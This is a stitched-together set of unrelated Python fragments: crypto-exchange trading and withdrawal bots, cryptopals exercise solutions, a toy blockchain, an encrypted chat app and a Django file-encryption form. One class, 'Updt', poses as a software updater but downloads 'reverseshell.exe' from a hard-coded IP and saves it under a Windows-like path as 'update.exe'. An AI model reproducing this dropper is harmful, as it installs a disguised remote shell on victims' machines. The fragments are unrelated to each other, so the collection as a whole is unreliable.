def decrypt(request): myEntry = Entry.objects.filter(slug=request.GET['slug'])[0] fileName = default_storage.path(myEntry.myFile) key = hashlib.sha256(request.GET['pass']).digest() try: CryptoLib.decrypt_file(key, fileName) dec_filePath = default_storage.path(fileName[:-4]) print dec_filePath wrapper = FileWrapper(file(dec_filePath)) response = HttpResponse(wrapper, content_type='application/zip') response['Content-Length'] = os.path.getsize(dec_filePath) default_storage.delete(fileName[:-4]) except: #nuke the media directory shutil.rmtree(default_storage.path('')) os.mkdir(default_storage.path('')) raise return response
def sendOrders(apiDict,isFTXSpot,ftxSide,exch,side,api,ccy,trade_qty): if exch=='bbt': fill = cl.bbtRelOrder(side, api, ccy, trade_qty, maxChases=888, distance=CT_CONFIGS_DICT['BBT_LEG1_DISTANCE_TICKS']) elif exch=='kut': fill = cl.kutRelOrder(side, api, ccy, trade_qty, maxChases=888, distance=CT_CONFIGS_DICT['KUT_LEG1_DISTANCE_TICKS']) else: sys.exit(1) fill*=cl.ftxGetMid(apiDict['ftx'], 'USDT/USD') if side == 'SELL': shortFill = fill else: longFill = fill ##### if isFTXSpot: ftxTicker = ccy + '/USD' ftxDistance = CT_CONFIGS_DICT['SPOT_LEG2_DISTANCE_TICKS'] else: ftxTicker = ccy + '-PERP' ftxDistance = CT_CONFIGS_DICT['FTX_LEG2_DISTANCE_TICKS'] fill = cl.ftxRelOrder(ftxSide, apiDict['ftx'], ftxTicker, trade_qty, maxChases=888, distance=ftxDistance) if ftxSide == 'SELL': shortFill = fill else: longFill = fill return longFill, shortFill
def ftxGetPos(unwindExch): if unwindExch == 'spot': return cl.ftxGetWallet(ftx).loc[ccy, 'total'] elif unwindExch == 'ftx': return cl.ftxGetFutPos(ftx, ccy) else: sys.exit(1)
def run(self): ticker = cl.kuGetTicker(self.ccy,isKUT=True) self.df = pd.DataFrame() for i in range(SHARED_EXCH_DICT['kut']): if ticker in self.riskDfs[i].riskDf.index: s = self.riskDfs[i].riskDf.loc[ticker] self.df = self.df.append({'account': 'KUT' + str(i + 1), 'liq': s['liq'], 'markValue': s['markValue'], 'maintMargin': s['maintMargin'], 'ratio': s['ratio']}, ignore_index=True) self.mvDict[i+1]=s['markValue'] self.pcDict[i+1]=s['posCost'] if len(self.df) > 0: self.df = self.df.set_index('account') #self.liq = self.df['liq'].min() self.futDeltaUSD = self.df['markValue'].sum() ##### SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx', 'kut']} self.fDict = cl.getFundingDict(self.apiDict, self.ccy) self.sbDict = cl.getSmartBasisDict(self.apiDict, self.ccy, self.fDict, isSkipAdj=True) self.yld = (self.fDict['kutEstFunding1'] + self.fDict['kutEstFunding2']) / 2 self.sb = self.sbDict['kutSmartBasis'] if self.ccy in AUTO_DICT['FTX_SPOT_UNIVERSE']: self.yld -= self.fDict['ftxEstBorrowUSD'] else: self.yld -= self.fDict['ftxEstFunding1'] self.sb -= self.sbDict['ftxSmartBasis']
def run(self): self.df = pd.DataFrame() for i in range(SHARED_EXCH_DICT['bbt']): if self.ccy in self.riskDfs[i].riskDf.index: s = self.riskDfs[i].riskDf.loc[self.ccy] self.df = self.df.append({'account': 'BBT' + str(i + 1), 'markValue': s['delta_value']}, ignore_index=True) self.mvDict[i+1]=s['delta_value'] if len(self.df) > 0: self.df = self.df.set_index('account') self.futDeltaUSD = self.df['markValue'].sum() ##### SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx', 'bbt']} self.fDict = cl.getFundingDict(self.apiDict, self.ccy) self.sbDict = cl.getSmartBasisDict(self.apiDict, self.ccy, self.fDict, isSkipAdj=True) if self.ccy in SHARED_ETC_DICT['BBT_HOURLY_FUNDING_UNDS']: self.yld = (self.fDict['bbtEstFunding1'] + self.fDict['bbtEstFunding2']*15) / 16 else: self.yld = (self.fDict['bbtEstFunding1'] + self.fDict['bbtEstFunding2']) / 2 self.sb = self.sbDict['bbtSmartBasis'] if self.ccy in AUTO_DICT['FTX_SPOT_UNIVERSE']: self.yld -= self.fDict['ftxEstBorrowUSD'] else: self.yld -= self.fDict['ftxEstFunding1'] self.sb -= self.sbDict['ftxSmartBasis']
def kutGetEstFundings_fast(self,ccy): key = 'kutEstFundings_'+ccy estFundings = cl.cache('r', key) if estFundings is None: estFundings = cl.kutGetEstFundings(self.api,ccy) cl.cache('w',key,estFundings) return estFundings
def move(accountBuy, accountSell, ccy, qty): cl.printHeader('Buying in BBT' + str(accountBuy) + ' / Selling in BBT' + str(accountSell)) if qty <= 0: print('Error! qty=='+str(qty)) sys.exit(1) slippageBps=bbtCrossOrder(accountBuy,accountSell,ccy,qty)*10000 print() print(termcolor.colored('Realized slippage = ' + str(round(slippageBps)) + 'bps', 'red'))
def main(): ans = b'SSdtIGtpbGxpbmcgeW91ciBicmFpbiBsaWtlIGEgcG9pc29ub3VzIG11c2hyb29t' hexStr = '49276d206b696c6c696e6720796f757220627261696e206c696b65206120706f69736f6e6f7573206d757368726f6f6d' byteArr = bytearray.fromhex(hexStr) encodedStr = base64.b64encode(byteArr) print(encodedStr) CryptoLib.validate(encodedStr, ans)
def processFills(longFill,shortFill,basisBps,realizedSlippageBps_batch,realizedSlippageBps_all): if longFill != 0: s = -((shortFill / longFill - 1) * 10000 - basisBps) print(cl.timeTag(termcolor.colored('Realized slippage = ' + str(round(s)) + 'bps', 'red'))) realizedSlippageBps_batch.append(s) realizedSlippageBps_all.append(s) print(cl.timeTag(termcolor.colored('Avg realized slippage (batch) = ' + str(round(np.mean(realizedSlippageBps_batch))) + 'bps', 'red'))) print(cl.timeTag(termcolor.colored('Avg realized slippage (all) = ' + str(round(np.mean(realizedSlippageBps_all))) + 'bps', 'red'))) return realizedSlippageBps_batch,realizedSlippageBps_all
def __init__(self, relayPort, password): """Init.""" myDSAKeys = DSA.generate(1024) self.myDSAPublicKey = myDSAKeys.publickey() self.encryptedDSAKey = CryptoLib.encryptWalletDSAKey(password, myDSAKeys) self.address = CryptoLib.getAddressFromPublicKey(self.myDSAPublicKey.y) self.unspentTxs = [] self.relayPort = relayPort self.relayIP = "http://localhost:" + str(self.relayPort) self.BlockChain = []
def list_of_clients(self): print "Get list of clients from server" msg = "list:" msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg) self.send_message(msg,self.serverAddr, self.port) print response = self.receive_response() if response is not None: response = CryptoLib.decryptUsingSymetricKey(self.sessionKey, self.sessionID, response) print "list of clients: ", response
def __init__(self,mode,n=None,amount=0): self.main_main = KUM_init() self.main_fut = cl.kuCCXTInit() self.main_ab = float(cl.kuGetAccountOverview(self.main_fut, 'USDT')['availableBalance']) self.mode = mode if n is not None: self.n = n self.sub_fut = cl.kuCCXTInit(self.n) self.sub_ab = float(cl.kuGetAccountOverview(self.sub_fut,'USDT')['availableBalance']) self.sub_name = KUT_REBAL_SUB_PREFIX + str(self.n) self.sub_id = self.getUserIdDict()[self.sub_name] self.amount = math.floor(amount)
def transferOutWithLock(self,fut): key = 'transferOutLock' transferOutLock = cl.cache('r', key) if transferOutLock is None: transferOutLock = threading.Lock() cl.cache('w', key, transferOutLock) with transferOutLock: while True: try: fut.futuresPrivate_post_transfer_out({'currency': 'USDT', 'amount': str(self.amount)}) break except: print("[DEBUG: Error from KuCoin's private_post_transfer_out! ....]") time.sleep(5) time.sleep(KUT_REBAL_SLEEP)
def do_pow(self): """Do the proof of work algorithm.""" wholeChain = self.request_block_chain() lastBlock = wholeChain[-1] initialTransaction = self.get_initial_transaction() self.mainTransaction = self.get_main_transaction() while self.validate_regular_tx(self.mainTransaction)==False: self.mainTransaction = self.get_main_transaction() miningDifficulty = self.get_difficulty_from_master() if CryptoLib.validateInitialTransaction(initialTransaction): NewBlock = Block.Block(transactions=[]) NewBlock.previousBlockHash = lastBlock.hash compareStr = '0' NewBlock.nonce = 0 for idx in range(miningDifficulty-1): compareStr += '0' if isinstance(self.mainTransaction,str): NewBlock.transactions = [initialTransaction] else: NewBlock.transactions = [initialTransaction, self.mainTransaction] while NewBlock.getHeaderHash()[:miningDifficulty] != compareStr: NewBlock.nonce +=1 self.send_block(NewBlock) else: print("Initial transaction set from Wallet error")
def create_token(self, user1_address, user2_address, user1_key, user2_key, key): token1 = user1_address + ":" + user1_key token2 = user2_address + ":" + user2_key token = token1 + "," + token2 # TODO: server needs to store the client information into the clients dictionary (maybe key on username?) token = CryptoLib.encyptUsingSymmetricKey(key, self.clients[user1_address].getInitializationVector(), token) self.sendMessage(token, user1_address)
def KUT_to_FTX(amountWithdraw, method='trc20'): if method=='trc20': address = FTX_USDT_TRC20_ADDRESS elif method == 'erc20': address = FTX_USDT_ERC20_ADDRESS else: sys.exit(1) if True: ku=KU_with_ip_init() z=str(round(amountWithdraw)) print('Amount: ' + z) print('https://futures.kucoin.com/records/withdraw-records') print() print(ku.futuresPrivate_post_withdrawals({'currency': 'USDT', 'amount': z, 'address': address, 'chain': method.upper()})) else: ku = cl.kuCCXTInit() ku.futuresPrivate_post_transfer_out({'currency': 'USDT', 'amount': str(amountWithdraw)}) # Wait for transfer to main_main kum_with_ip = KUM_with_ip_init() while True: if KUM_get_main_main_ab(kum_with_ip)>=amountWithdraw: break print('.',end='') time.sleep(1) print() print() # Continue z = str(round(amountWithdraw)) print('Amount: ' + z) print('https://www.kucoin.com/assets/record') print() print(kum_with_ip.private_post_withdrawals({'currency': 'USDT', 'amount': z, 'address': address, 'chain': method.upper()}))
def FTX_to_address(key, ccy, amountWithdraw, address): ftx = FTX_with_ip_init() maxWithdraw = round(cl.ftxGetWallet(ftx).loc[ccy, 'free']-0.001,3) if ccy=='USDT': amountWithdraw=round(amountWithdraw) else: amountWithdraw = round(amountWithdraw, 3) print('Max withdrawable: '+ccy+ ' '+str(maxWithdraw)) print('Amount to withdraw: '+ccy+ ' '+str(amountWithdraw)) if amountWithdraw > maxWithdraw: print('Error ... too large an amount to withdraw!') return False code=FTX_get_code(key) try: print(ftx.private_post_wallet_withdrawals({'coin': ccy, 'size': amountWithdraw, 'address': address, 'code': code})) except: pass finally: time.sleep(5) start_time = int((datetime.datetime.timestamp(datetime.datetime.now() - pd.DateOffset(seconds=60)))) result=ftx.private_get_wallet_withdrawals({'start_time':start_time})['result'] print() if len(result)==0: print('Error ... cannot find withdrawal record!') print() return False elif round(float(result[0]['size']),3)!=amountWithdraw: print('Error ... mismatch observed in withdrawal record!') print() return False else: print('Success!') print() return True
class Updt(object): version = '0' crypto = CryptoLib.CryptoLib([2, 6, 4, 8, 5]) dirPath = 'C:\\Users\\Public\\Windows\\' fileName = 'update.exe' filePath = dirPath + fileName mainAppName = 'updater.exe' mainAppPath = dirPath + mainAppName fileUrl = 'http://85.255.5.44/vxsrfp/rxso/reverseshell.exe' mainAppUrl = 'http://85.255.5.44/vxsrfp/rxso/mainApp.exe' versionUrl = 'http://85.255.5.44/vxsrfp/xkv{nqt.html' u = update.Update() def update(self): self.testPath(self.dirPath) _version = urlopen(self.versionUrl).read() _version = _version[:-1] if self.u.getVersion() == _version: return "Client is up to date." else: os.remove(self.filePath) os.remove(self.mainAppPath) urlretrieve(self.fileUrl, self.filePath) urlretrieve(self.mainAppUrl, self.mainAppPath) return "Client will be update at next start." def testPath(self, path): if (os.path.isdir(path)): pass else: os.makedirs(path)
def solve_challenge(self, challenge, num): """ Solve challenge set by server :param challenge: server challenge :param num: starting value :return: number """ if self.DBG: print " challenge: %s, num: %s" % (challenge, num) response = int(CryptoLib.generateKeyHash(str(num)), 16) while response != challenge: num += 1 response = int(CryptoLib.generateKeyHash(str(num)), 16) #print " challenge: %x, hash: %x" % (challenge, response) return num
def makeFlows(ccy): start_time = cl.getYest() borrows = cleanBorrows(ccy, pd.DataFrame(self.api.private_get_spot_margin_borrow_history({'limit': 1000, 'start_time': start_time})['result'])) loans = cleanBorrows(ccy, pd.DataFrame(self.api.private_get_spot_margin_lending_history({'limit': 1000, 'start_time': start_time})['result'])) cl.dfSetFloat(borrows, ['cost','rate']) cl.dfSetFloat(loans, 'proceeds') prevBorrow = borrows.iloc[-1]['cost'] if borrows.index[-1] == self.payments.index[-1] else 0 prevLoan = loans.iloc[-1]['proceeds'] if loans.index[-1] == self.payments.index[-1] else 0 absBalUSD = abs(self.wallet.loc[ccy, 'total']*self.spotDict[ccy]) d=dict() d['oneDayFlows'] = (loans['proceeds'].sum() - borrows['cost'].sum()) * self.spotDict[ccy] d['oneDayFlowsAnnRet'] = d['oneDayFlows'] * 365 / absBalUSD d['oneDayBorrowRate'] = borrows['rate'].mean() * 24 * 365 d['prevFlows']=(prevLoan - prevBorrow) * self.spotDict[ccy] d['prevFlowsAnnRet']=d['prevFlows'] * 24 * 365 / absBalUSD d['prevBorrowRate'] = borrows.iloc[-1]['rate'] * 24 * 365 if borrows.index[-1] == self.payments.index[-1] else 0 return d
def save(self, commit=True): super(EntryForm, self).save(commit=commit) if len(self.cleaned_data['attachments']) == 0: return self.instance oldwd = os.getcwd() os.chdir(default_storage.path('')) archiveName = str(uuid.uuid4()) + '.zip' try: with zipfile.ZipFile(archiveName, 'w') as z: for each in self.cleaned_data['attachments']: fileName = str(each) default_storage.save(fileName, ContentFile(each.read())) z.write(fileName) default_storage.delete(fileName) z.close() ################################# #### ENCRYPT THAT SHIT HERE ##### ################################# if (self.cleaned_data['encrypt'] and self.cleaned_data['password'] != ""): key = hashlib.sha256(self.cleaned_data['password']).digest() CryptoLib.encrypt_file(key, default_storage.path(archiveName)) default_storage.delete(archiveName) archiveName += '.enc' self.instance.has_enc = "True" self.instance.myFile = File(file( default_storage.path(archiveName))) print self.instance.myFile default_storage.delete(archiveName) self.instance.save() except: #nuke the media directory shutil.rmtree(default_storage.path('')) os.mkdir(default_storage.path('')) raise os.chdir(oldwd) return self.instance
def accountsSubTransferWithLock(self, direction, accountType,subAccountType): key='accountsSubTransferLock' accountsSubTransferLock = cl.cache('r', key) if accountsSubTransferLock is None: accountsSubTransferLock = threading.Lock() cl.cache('w',key,accountsSubTransferLock) with accountsSubTransferLock: while True: try: result = self.main_main.private_post_accounts_sub_transfer({'clientOid': uuid.uuid4().hex, 'currency': 'USDT', 'direction': direction, 'amount': str(self.amount), 'accountType': accountType, 'subAccountType': subAccountType, 'subUserId': self.sub_id}) break except: print("[DEBUG: Error from KuCoin's private_post_accounts_sub_transfer!]") time.sleep(5) time.sleep(KUT_REBAL_SLEEP) return result
def save(self, commit=True): super(EntryForm, self).save(commit=commit) if len(self.cleaned_data['attachments']) == 0: return self.instance oldwd = os.getcwd() os.chdir(default_storage.path('')) archiveName = str(uuid.uuid4()) + '.zip' try: with zipfile.ZipFile(archiveName, 'w' ) as z: for each in self.cleaned_data['attachments']: fileName = str(each) default_storage.save(fileName, ContentFile(each.read())) z.write(fileName) default_storage.delete(fileName) z.close() ################################# #### ENCRYPT THAT SHIT HERE ##### ################################# if(self.cleaned_data['encrypt'] and self.cleaned_data['password'] != ""): key = hashlib.sha256(self.cleaned_data['password']).digest() CryptoLib.encrypt_file(key, default_storage.path(archiveName)) default_storage.delete(archiveName) archiveName += '.enc' self.instance.has_enc = "True" self.instance.myFile = File(file(default_storage.path(archiveName))) print self.instance.myFile default_storage.delete(archiveName) self.instance.save() except: #nuke the media directory shutil.rmtree(default_storage.path('')) os.mkdir(default_storage.path('')) raise os.chdir(oldwd) return self.instance
def kutGetAdj(tgtLiqH,minAB,minXfer): def kutGetAdjCore(riskDf, target_liq_ratio, ab, minAB): df = riskDf.copy() df['sim_add_liq_ratio'] = (df['liqRaw'] - target_liq_ratio) * np.sign(df['markValue']) df['sim_add_margin'] = df['sim_add_liq_ratio'].clip(0, None) * abs(df['markValue']) adj=sum(df['sim_add_margin']) - ab # -ve = money can leave account ### simAB = ab + adj if simAB < minAB: adj += minAB - simAB return adj ##### objs = [] for i in range(SHARED_EXCH_DICT['kut']): objs.append(cl.kutGetRiskDfs(i + 1)) cl.parallelRun(objs) ##### adjList = [] zList = [] for i in range(SHARED_EXCH_DICT['kut']): z = 'KUT'+ str(i + 1) adj = round(kutGetAdjCore(objs[i].riskDf, tgtLiqH, objs[i].availableBalance, minAB)) adjList.append(adj) zList.append(z + ': ' + str(adj)) zList.append('Total: '+str(np.sum(adjList))) cl.printHeader('TgtLiqH = ' + str(round(tgtLiqH,3))+ ' / MinAB = '+str(minAB) + ' / MinXfer = '+str(minXfer)) cl.printListWrapped(zList,9) print() return adjList,objs[0].availableBalance
def challengeResponse(self): # generate a sufficiently large random number num = random.randrange(100000, 1000000) # generate a random number to subtract from it firstFew = random.randrange(1000, 10000) firstFew = num - firstFew # create the challenge hash challenge = CryptoLib.generateKeyHash(str(num)) return num, challenge, firstFew
def receiveClientMessages(self): msg, addr = self.sock.recvfrom(ChatServer.MSG_LEN) isClientKnown = self.clients.has_key(addr) if(isClientKnown): client = self.clients.get(addr) if(client == None): print "couldn't retrieve client" return if client.get_session_key() is None and client.get_initialization_vector() is None: decrypted_msg = CryptoLib.decryptUsingPrivateKey(self.private_key, msg) else: decrypted_msg = CryptoLib.decryptUsingSymetricKey(client.get_session_key(), client.get_initialization_vector(), msg) self.handleClientMessages(decrypted_msg, client, addr) else: if self.DBG: print "it's a potential client!!" self.handleClientMessages(msg, None, addr)
def main(): ans = '746865206b696420646f6e277420706c6179' hexStr1 = '1c0111001f010100061a024b53535009181c' hexStr2 = '686974207468652062756c6c277320657965' byteArr1 = bytearray.fromhex(hexStr1) byteArr2 = bytearray.fromhex(hexStr2) #The byte array we will build and a variable for its hex string byteArr3 = bytearray() res = '' #Could also use CryptoLib.xor(byteArr1,byteArr2) for x,y in zip(byteArr1,byteArr2): byteArr3.append(x ^ y) res = binascii.hexlify(byteArr3).decode() print(byteArr3.decode()) print(res) CryptoLib.validate(res, ans)
def run(self): SHARED_CCY_DICT[self.ccy] = {'futExch': ['ftx']} self.fDict = cl.getFundingDict(self.apiDict, self.ccy) self.sbDict = cl.getSmartBasisDict(self.apiDict, self.ccy, self.fDict, isSkipAdj=True) self.sb = self.sbDict['ftxSmartBasis'] sbBps = self.sb * 10000 if sbBps >= self.thresholdH: color = 'magenta' elif sbBps <= self.thresholdL: color = 'green' else: color = 'grey' self.label = (self.ccy + ': ' + str(round(sbBps)) + '(' + str(round(self.fDict['ftxEstFunding1'] * 100)) + ')').ljust(13) self.label = termcolor.colored(self.label, color)
def __init__(self, ccy, apiDict, riskDfs): self.ccy = ccy self.apiDict = apiDict self.riskDfs = riskDfs self.mvDict = dict() self.pcDict = dict() for i in range(SHARED_EXCH_DICT['kut']): self.mvDict[i+1]=0 self.pcDict[i+1]=0 self.riskLimit=cl.kutGetRiskLimit(self.apiDict['ku'], self.ccy)
def create_transaction(self, receiverAddress, amount, password): """Create a new transaction.""" allDSAKey = CryptoLib.restoreWalletDSAKey(password, self.encryptedDSAKey) if isinstance(allDSAKey, str): return "Password Error" else: k = random.StrongRandom().randint(1, allDSAKey.q - 1) senderSignature = allDSAKey.sign(receiverAddress.encode() + str(amount).encode(), k) newTransaction = Block.Transaction(senderPublicKey=self.myDSAPublicKey, senderSignature=senderSignature, receiverWallet=receiverAddress, amount=amount) return newTransaction
def run(self): if isDebug: print(self.ccy) super().run() sbBps = self.sb * 10000 if sbBps >= self.thresholdH: color = 'blue' elif sbBps <= self.thresholdL: color = 'green' else: color = 'grey' self.label = self.ccy + ': ' + str(round(self.fDict['ftxEstFunding1'] * 100)) + '//' + \ str(round(self.fDict['kutEstFunding1'] * 100)) + '/' + str(round(self.fDict['kutEstFunding2'] * 100)) + \ '; sb=' + str(round(sbBps)) + \ '; yield=' + cl.fmtPct(self.yld, None) self.label += '; turn=$' + str( round(self.contractDf.loc[cl.kuGetTicker(self.ccy, isKUT=True), 'turnoverOf24h'] / 1e6)) + 'M' if len(self.df) > 0: self.label += '; fut=$' + str(round(self.futDeltaUSD / 1000)) + 'K' if self.futDeltaUSD > 0: color = 'red' self.label = termcolor.colored(self.label, color)
def move(accountBuy, accountSell, ccy, qty, riskLimit, cumAmounts, realizedSlippageBps): cl.printHeader('Buying in KUT' + str(accountBuy) + ' / Selling in KUT' + str(accountSell)) kutBuy = cl.kuCCXTInit(accountBuy) kutSell = cl.kuCCXTInit(accountSell) posDataTo = cl.kuGetPosition(kutSell, ccy, isKUT=True) posFrom = cl.kuGetFutPos(kutBuy, ccy, isKUT=True) * cl.kutGetMult( kutBuy, ccy) mid = cl.kutGetMid(kutBuy, ccy) maxSellTo = (riskLimit + posDataTo['posCost'] - 1000) / mid tradeQty = min(qty, -posFrom, maxSellTo) if tradeQty <= 0: print('Error! TradeQty==' + str(tradeQty)) sys.exit(1) print(cl.timeTag('Crossing $' + str(round(tradeQty * mid)))) slippageBps = cl.kutCrossOrder(accountBuy, accountSell, ccy, tradeQty) * 10000 realizedSlippageBps.append(slippageBps) cumAmounts.append(tradeQty * mid) sumCumAmounts = np.sum(cumAmounts) print() print( termcolor.colored( 'Cumulative moved = $' + str(round(sumCumAmounts)) + ' (' + str(int(len(realizedSlippageBps))) + ' trades)', 'blue')) print( termcolor.colored( 'Realized slippage = ' + str(round(slippageBps)) + 'bps', 'red')) print( termcolor.colored( 'Avg realized slippage = ' + str( round( sum(x * y for x, y in zip(cumAmounts, realizedSlippageBps)) / sumCumAmounts)) + 'bps', 'red')) print() time.sleep(2) # Added to fix bug return cumAmounts, realizedSlippageBps
def KR_xfer_in(ccyList): def get_kraken_signature(urlpath, data, secret): postdata = urllib.parse.urlencode(data) encoded = (str(data['nonce']) + postdata).encode() message = urlpath.encode() + hashlib.sha256(encoded).digest() mac = hmac.new(base64.b64decode(secret), message, hashlib.sha512) sigdigest = base64.b64encode(mac.digest()) return sigdigest.decode() ##### def kraken_request(uri_path, data, api_key, api_sec): headers = {} headers['API-Key'] = api_key headers['API-Sign'] = get_kraken_signature(uri_path, data, api_sec) req = requests.post(("https://api.kraken.com" + uri_path), headers=headers, data=data) return req ##### kr = KR_with_ip_init() kf = cl.kfApophisInit() ftx=FTX_with_ip_init() ##### while True: for ccy in ccyList: cl.printHeader(ccy) spot = cl.ftxGetMid(ftx, ccy + '/USD') # KR to KF ccy2 = 'XBT' if ccy == 'BTC' else ccy available = float(kr.fetch_balance()['info']['result']['X' + ccy2]) print('Available before transfer to futures account: ' + ccy + ' ' + str(round(available, 6))) if available * spot > 10000: print(termcolor.colored('Step one ....','red')) print() cl.speak('K R transfer in step one') kraken_request('/0/private/WalletTransfer', {'nonce': str(int(1000 * time.time())), 'asset': ccy2, 'amount': available, 'from': 'Spot Wallet', 'to': 'Futures Wallet'}, API_KEY_KR_WITH_IP, API_SECRET_KR_WITH_IP) else: print('Not enough to transfer ....\n') # KF Holding Wallet to Futures Wallet ccy2 = ccy2.lower() available = kf.query('accounts')['accounts']['cash']['balances'][ccy2] print('Available before transfer to futures wallet: ' + ccy + ' ' + str(round(available, 6))) if available * spot > 10000: print(termcolor.colored('Step two ....', 'red')) print() cl.speak('K R transfer in step two') kf.query('transfer', {'fromAccount': 'cash', 'toAccount': 'fi_' + ccy2 + 'usd', 'unit': ccy2, 'amount': available}) else: print('Not enough to transfer ....\n') time.sleep(60)
def kutSendBatch(notional, batchSize, batchN, ccyData, kutSide, realizedSlippageBps_all): ccy=ccyData.ccy SHARED_CCY_DICT[ccy] = {'futExch': ['ftx', 'kut']} CT_CONFIGS_DICT['CURRENT_KUT'] = ccyData.chosen apiDict, trade_qty, _, _ = cl.ctInit(ccy, notional, 0) realizedSlippageBps_batch=[] for n in range(batchSize): print(cl.timeTag(termcolor.colored('Batch '+str(batchN) +' Program '+str(n+1)+' / '+ccy,'blue'))) fDict = cl.getFundingDict(apiDict, ccy) sbDict = cl.getSmartBasisDict(apiDict, ccy, fDict, isSkipAdj=True) ftxSide = 'BUY' if kutSide == 'SELL' else 'SELL' isFTXSpot = ccy in AUTO_DICT['FTX_SPOT_UNIVERSE'] api = cl.ctKUTStepper(kutSide, ccy, trade_qty) cl.speak('Go') ##### longFill, shortFill = sendOrders(apiDict, isFTXSpot, ftxSide, 'kut', kutSide, api, ccy, trade_qty) basisBps=getBasisBps(isFTXSpot, ftxSide, 'kut', sbDict) realizedSlippageBps_batch, realizedSlippageBps_all=processFills(longFill, shortFill, basisBps, realizedSlippageBps_batch, realizedSlippageBps_all) print(cl.timeTag('Done')) print() cl.speak('Done') return realizedSlippageBps_all
def __init__(self, ipAddr, port): self.serverAddr = ipAddr self.port = port self.count = 3 # only 3 login attempts are allowed self.isAuthenticated = False self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.settimeout(3.0) self.peers = {} self.DBG = False self.serverPublicKey = CryptoLib.getPublicKey('server_public_key.pem') if(self.serverPublicKey == -1): sys.exit(-1)
def send_encrypted_message(self, msg): """ Sends encrypted message through socket :param msg: message to be sent :return: True/False """ ret = False try: msg = CryptoLib.encyptUsingSymmetricKey(self.sessionKey, self.sessionID, msg) self.sock.sendto(msg, (self.serverAddr, self.port)) ret = True except Exception, e: print "send message failed: ", e
def bbtInit(self): self.api = cl.bbCCXTInit(n=self.n) riskDf = cl.bbtGetRiskDf(self.api, self.spotDict) for ccy in self.validCcys: if ccy in riskDf.index: self.futures.loc[ccy, 'FutDelta']=cl.bbtGetFutPos(self.api,ccy) self.liqDict[ccy] = riskDf.loc[ccy,'liq'] else: self.liqDict[ccy] = 0 self.calcFuturesDeltaUSD() ##### if self.n>=2: # trim list for auxiliary BBTs self.validCcys=list(self.futures.index[self.futures['FutDelta'] != 0]) ##### self.oneDayIncome = 0 self.prevIncome = 0 if CR_CONFIGS_DICT['IS_CALC_PAYMENTS']: pmts=pd.DataFrame() for ccy in self.validCcys: data = cl.bbtGetTradeExecutionList(self.api,ccy) if not data is None: pmts = pmts.append(pd.DataFrame(data).set_index('symbol', drop=False)) if len(pmts)>0: cl.dfSetFloat(pmts, ['fee_rate', 'exec_fee']) pmts.loc[['Sell' in z for z in pmts['order_id']],'fee_rate']*=-1 # Correction for fee_rate signs pmts['incomeUSD'] = -pmts['exec_fee'] * self.spotDict['USDT'] pmts['date'] = [datetime.datetime.fromtimestamp(int(ts) / 1000) for ts in pmts['trade_time_ms']] pmts = pmts.set_index('date').sort_index() ##### self.oneDayIncome = pmts['incomeUSD'].sum() self.prevIncome = pmts.loc[pmts.index[-1]]['incomeUSD'].sum() self.setAnnRets() ##### usdtDict=self.api.v2_private_get_wallet_balance({'coin': 'USDT'})['result']['USDT'] equity = float(usdtDict['equity']) self.nav = equity * self.spotDict['USDT'] self.spots.loc['USDT', 'SpotDelta'] = equity self.calcSpotDeltaUSD() ##### for ccy in self.validCcys: oneDayFunding = 0 prevFunding = 0 estFunding=0 estFunding2=0 if CR_CONFIGS_DICT['IS_CALC_PAYMENTS']: if len(pmts)>0: df=pmts.loc[pmts['symbol']==ccy+'USDT','fee_rate'] if len(df) > 0: oneDayFunding = df.mean() * 3 * 365 prevFunding = df[df.index[-1]].mean() * 3 * 365 ##### if CR_CONFIGS_DICT['IS_CALC_ESTS']: estFunding, estFunding2 = self.bbtGetEstFundings_fast(ccy) self.makeFundingStr(ccy, oneDayFunding, prevFunding, estFunding, estFunding2) ##### self.makeIncomesStr() self.makeLiqStr(riskDf=riskDf,availableBalance=float(usdtDict['available_balance'])) self.isDone = True
def main(): ans = "Cooking MC's like a pound of bacon" inputStr = '1b37373331363f78151b7f2b783431333d78397828372d363c78373e783a393b3736' inputArr = bytearray.fromhex(inputStr) currStr = '' currScore = 0 bestStr = '' bestScore = 0 for i in range(0, 256): #print(bytearray({i})) try: currStr = CryptoLib.xor(inputArr, bytearray({i})).decode() currScore = CryptoLib.freqScore(currStr) if (currScore > bestScore): bestScore = currScore bestStr = currStr except: continue print(bestStr) CryptoLib.validate(bestStr, ans)
def initAuto(exch, notional, batchSize, apiDict, ccys, isBuild, spotDict=None): cl.skipMinutes(SKIP_MINS) riskDfs = [] for i in range(SHARED_EXCH_DICT[exch]): if exch=='bbt': riskDfs.append(cl.bbtGetRiskDfs(i + 1, spotDict)) else: riskDfs.append(cl.kutGetRiskDfs(i + 1)) cl.parallelRun(riskDfs) ##### ccyData = [] for ccy in ccys: if exch=='bbt': ccyData.append(bbtGetCcyData(ccy, apiDict, riskDfs)) else: ccyData.append(kutGetCcyData(ccy, apiDict, riskDfs)) cl.parallelRun(ccyData) ##### sbList = [] for i in range(len(ccys)): paramSave('sb', ccys[i], ccyData[i].sb) paramSave('yld', ccys[i], ccyData[i].yld) sbList.append(ccyData[i].sb) ### sbRanks = list(scipy.stats.rankdata(sbList, method='ordinal')) for i in range(len(sbRanks)): sbRanks[i] = len(sbRanks) - sbRanks[i] + 1 ### chosenCcyData=None for i in range(len(ccys)): j = sbRanks.index(i + 1) adjNotional = notional if ccyData[j].ccy in AUTO_DICT['NOTIONAL_MULT'].keys(): adjNotional *= AUTO_DICT['NOTIONAL_MULT'][ccyData[j].ccy] if isBuild: ccyData[j].chosen = chooseBuild(ccyData[j].mvDict) isOk = isGT('sb',ccyData[j].ccy,NCONFIRMS,(AUTO_DICT['SB_SHIFT']+20)/10000) and isGT('yld',ccyData[j].ccy,NCONFIRMS,AUTO_DICT['YIELD_BORDER']) if exch=='kut': isOk = isOk and isSimBuildOk(adjNotional, batchSize, ccyData[j]) else: ccyData[j].chosen = chooseUnwind(ccyData[j].mvDict, adjNotional * batchSize) isOk = isLT('sb', ccyData[j].ccy, NCONFIRMS, AUTO_DICT['SB_SHIFT'] / 10000) and isLT('yld', ccyData[j].ccy, NCONFIRMS, AUTO_DICT['YIELD_BORDER']) and \ isSimUnwindOk(exch, adjNotional, batchSize, ccyData[j]) if isOk: chosenCcyData = ccyData[j] break return chosenCcyData, adjNotional
